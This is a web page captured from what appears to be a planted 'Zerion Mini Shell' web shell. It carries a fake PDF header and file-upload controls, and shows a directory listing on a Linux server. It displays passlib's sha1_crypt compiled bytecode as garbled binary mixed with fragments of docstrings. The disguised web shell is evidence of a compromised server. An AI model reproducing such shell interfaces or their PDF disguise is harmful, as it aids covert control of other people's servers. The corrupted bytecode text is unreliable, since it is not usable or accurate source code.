%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/passlib/handlers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/passlib/handlers/__pycache__/sha1_crypt.cpython-39.opt-1.pyc

a

f�Wc��@s�dZddlZe�e�ZddlmZmZddlm	Z	ddl
mZmZm
Z
ddlmZddlmmZgZdZGdd	�d	ejejejej�ZdS)
zpasslib.handlers.sha1_crypt
�N)�
safe_crypt�
test_crypt)�h64)�u�unicode�irange)�compile_hmac�c@s�eZdZdZdZdZed�ZdZe	j
ZdZdZ
e	j
ZdZdZd	Zd
Zedd��Zddd�ZdZedd��Zdd�Zedd��Zdd�Zgd�ZdS)�
sha1_crypta&This class implements the SHA1-Crypt password hash, and follows the :ref:`password-hash-api`.

    It supports a variable-length salt, and a variable number of rounds.

    The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

    :type salt: str
    :param salt:
        Optional salt string.
        If not specified, an 8 character one will be autogenerated (this is recommended).
        If specified, it must be 0-64 characters, drawn from the regexp range ``[./0-9A-Za-z]``.

    :type salt_size: int
    :param salt_size:
        Optional number of bytes to use when autogenerating new salts.
        Defaults to 8 bytes, but can be any value between 0 and 64.

    :type rounds: int
    :param rounds:
        Optional number of rounds to use.
        Defaults to 480000, must be between 1 and 4294967295, inclusive.

    :type relaxed: bool
    :param relaxed:
        By default, providing an invalid value for one of the other
        keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
        and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
        will be issued instead. Correctable errors include ``rounds``
        that are too small or too large, and ``salt`` strings that are too long.

        .. versionadded:: 1.6
    )�saltZ	salt_size�roundsz$sha1$���@iS�l��ZlinearcCs&tj||j|d�\}}}||||d�S)N)Zhandler)rr�checksum)�uhZ	parse_mc3�ident)�cls�hashrr�chk�r�?/usr/lib/python3.9/site-packages/passlib/handlers/sha1_crypt.py�from_stringSszsha1_crypt.from_stringFcCs$|rdn|j}t�|j|j|j|�S)N)rrZ
render_mc3rrr)�self�configrrrr�	to_stringXszsha1_crypt.to_string)Zos_cryptZbuiltincCs"tdd�r|�|j�dSdSdS)N�testz-$sha1$1$Wq3GL2Vp$C8U25GvfHS8qGHimExLaiSFlGkAeTF)r�_set_calc_checksum_backend�_calc_checksum_os_crypt�rrrr�_load_backend_os_cryptds
z!sha1_crypt._load_backend_os_cryptcCsb|jdd�}t||�}|dur(|�|�S|�|�rFt|�t|�dkrVtj�|||��|dd�S)NT)r�i��)rr�_calc_checksum_builtin�
startswith�lenr�excZCryptBackendError)r�secretrrrrrrms

z"sha1_crypt._calc_checksum_os_cryptcCs|�|j�dS)NT)rr#r rrr�_load_backend_builtin{sz sha1_crypt._load_backend_builtincCszt|t�r|�d�}t|vr(tj�|��|j}td�|j	|f�d�}t
d|�}t|�D]}||�}qXt�
||j��d�S)Nzutf-8z
%s$sha1$%s�asciiZsha1)�
isinstancer�encode�_BNULLrr&ZNullPasswordErrorrrrrrrZencode_transposed_bytes�_chk_offsets�decode)rr'r�resultZ
keyed_hmac�_rrrr#�s



z!sha1_crypt._calc_checksum_builtin)�rr���r����
�	��
����r��N)F)�__name__�
__module__�__qualname__�__doc__�nameZsetting_kwdsrrZ
checksum_sizerZHASH64_CHARSZchecksum_charsZdefault_salt_sizeZ
max_salt_sizeZ
salt_charsZdefault_roundsZ
min_roundsZ
max_roundsZrounds_cost�classmethodrrZbackendsr!rr(r#r-rrrrr
s0%



r
)rEZloggingZ	getLoggerrB�logZ
passlib.utilsrrZpasslib.utils.binaryrZpasslib.utils.compatrrrZpasslib.crypto.digestrZpasslib.utils.handlersZutils�handlersr�__all__r,ZHasManyBackendsZ	HasRoundsZHasSaltZGenericHandlerr
rrrr�<module>s

Zerion Mini Shell 1.0